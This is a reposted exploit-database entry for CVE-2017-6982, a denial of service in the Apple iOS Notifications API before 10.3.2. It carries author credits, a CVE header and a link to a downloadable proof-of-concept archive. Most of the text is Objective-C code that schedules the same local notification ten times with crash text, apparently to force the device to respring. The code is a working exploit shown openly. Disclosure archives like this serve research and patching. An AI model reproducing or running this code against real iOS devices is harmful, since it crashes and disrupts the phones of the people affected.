发布 2017-05-17 漏洞条目

Apple iOS < 10.3.2 - Notifications API Denial of Service

Exploit Source

# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service

# Date: 05-15-2017

# Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton

# Vendor Homepage: https://apple.com

# Software Link: https://support.apple.com/en-us/HT207798

# Version: iOS 10.3.2

# Tested on: iOS 10.3.2 iPhone 6

# CVE : CVE-2017-6982

# We do not disclose a PoC for remote notifications.

# PoC for local notifications. (Objective-C).

defaults = [NSUserDefaults standardUserDefaults];

UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;

UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];

[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];

//1

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

NSTimeInterval interval;

interval = 5; //Time here in second to respring

UILocalNotification* localNotification = [[UILocalNotification alloc] init];

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//2

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//3

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//4

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//5

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//6

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//7

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//8

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//9

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//10

[defaults setBool:YES forKey:@"notificationIsActive"];

[defaults synchronize];

interval = 5;

localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];

localNotification.alertBody = _crashtext.text;

localNotification.timeZone = [NSTimeZone defaultTimeZone];

localNotification.repeatInterval = NSCalendarUnitYear;

localNotification.soundName = UILocalNotificationDefaultSoundName;

[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42014.zip

作者: CoffeeBreakers
日期: 2017-05-17
类别: dos
平台: ios

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service